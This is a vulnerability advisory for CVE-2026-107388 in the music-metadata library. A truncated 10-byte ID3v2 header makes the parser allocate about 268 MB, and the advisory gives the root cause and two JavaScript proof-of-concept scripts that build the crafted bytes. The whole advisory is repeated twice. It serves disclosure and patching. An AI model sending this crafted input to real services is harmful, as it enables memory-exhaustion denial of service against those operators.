CVE-2026-107388

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.

Summary

The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.

Details

Vulnerable Code Path:

• lib/id3v2/ID3v2Token.ts:108 - Syncsafe size read without validation
• lib/id3v2/ID3v2Parser.ts:122 - Full tag body allocated before reading
• lib/id3v2/AbstractID3Parser.ts:22 - Allocation happens before stream validation

Root Cause:

The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:

1. If the tag size exceeds the remaining file size
2. If the tag size exceeds a reasonable maximum
3. If the subsequent read will actually succeed

// ID3v2Token.ts:108
const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly

// Later: Allocates without validation
const tagBody = await tokenizer.readBuffer(Buffer.alloc(size));
// If actual data < size, read fails but allocation succeeded

Attack Mechanism:

1. File contains valid ID3v2 header with 10 bytes total
2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)
3. Parser allocates 268 MB buffer
4. Stream read fails (EOF) after 10 bytes
5. EndOfStreamError is caught internally and silently handled
6. Caller receives normal metadata object
7. 268 MB remains allocated until garbage collection

Affected Parsers: MP3 (primary), FLAC, DSF, Musepack

Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)

PoC

Complete reproduction steps:

import { parseBuffer } from 'music-metadata';

// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33,       // "ID3" identifier
  0x04, 0x00,             // Version 2.4.0
  0x00,                   // Flags (no unsync, no extended header, etc)
  0x7f, 0x7f, 0x7f, 0x7f  // Syncsafe integer: maximum size (268,435,455 bytes)
  // File ends here - truncated
]);

console.log('Input file size:', maliciousFile.byteLength, 'bytes');

try {
  const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
  console.log('✓ Parse succeeded (no error thrown)');
  console.log('✓ Metadata returned:', metadata);
  console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
  console.error('✗ Unexpected error:', error.message);
}

To demonstrate memory impact:

Run with node --expose-gc to monitor allocations:

// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';

const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
  0x7f, 0x7f, 0x7f, 0x7f
]);

// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();

console.log('Memory before:', {
  heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});

const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;

const after = process.memoryUsage();

console.log('Memory after:', {
  heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
  heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
  externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});

console.log('Parse time:', duration.toFixed(2) + ' ms');…

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.

Summary

The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.

Details

Vulnerable Code Path:

• lib/id3v2/ID3v2Token.ts:108 - Syncsafe size read without validation
• lib/id3v2/ID3v2Parser.ts:122 - Full tag body allocated before reading
• lib/id3v2/AbstractID3Parser.ts:22 - Allocation happens before stream validation

Root Cause:

The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:

1. If the tag size exceeds the remaining file size
2. If the tag size exceeds a reasonable maximum
3. If the subsequent read will actually succeed

// ID3v2Token.ts:108
const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly

// Later: Allocates without validation
const tagBody = await tokenizer.readBuffer(Buffer.alloc(size));
// If actual data < size, read fails but allocation succeeded

Attack Mechanism:

1. File contains valid ID3v2 header with 10 bytes total
2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)
3. Parser allocates 268 MB buffer
4. Stream read fails (EOF) after 10 bytes
5. EndOfStreamError is caught internally and silently handled
6. Caller receives normal metadata object
7. 268 MB remains allocated until garbage collection

Affected Parsers: MP3 (primary), FLAC, DSF, Musepack

Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)

PoC

Complete reproduction steps:

import { parseBuffer } from 'music-metadata';

// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33,       // "ID3" identifier
  0x04, 0x00,             // Version 2.4.0
  0x00,                   // Flags (no unsync, no extended header, etc)
  0x7f, 0x7f, 0x7f, 0x7f  // Syncsafe integer: maximum size (268,435,455 bytes)
  // File ends here - truncated
]);

console.log('Input file size:', maliciousFile.byteLength, 'bytes');

try {
  const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
  console.log('✓ Parse succeeded (no error thrown)');
  console.log('✓ Metadata returned:', metadata);
  console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
  console.error('✗ Unexpected error:', error.message);
}

To demonstrate memory impact:

Run with node --expose-gc to monitor allocations:

// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';

const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
  0x7f, 0x7f, 0x7f, 0x7f
]);

// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();

console.log('Memory before:', {
  heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});

const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;

const after = process.memoryUsage();

console.log('Memory after:', {
  heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
  heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
  externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});

console.log('Parse time:', duration.toFixed(2) + ' ms');…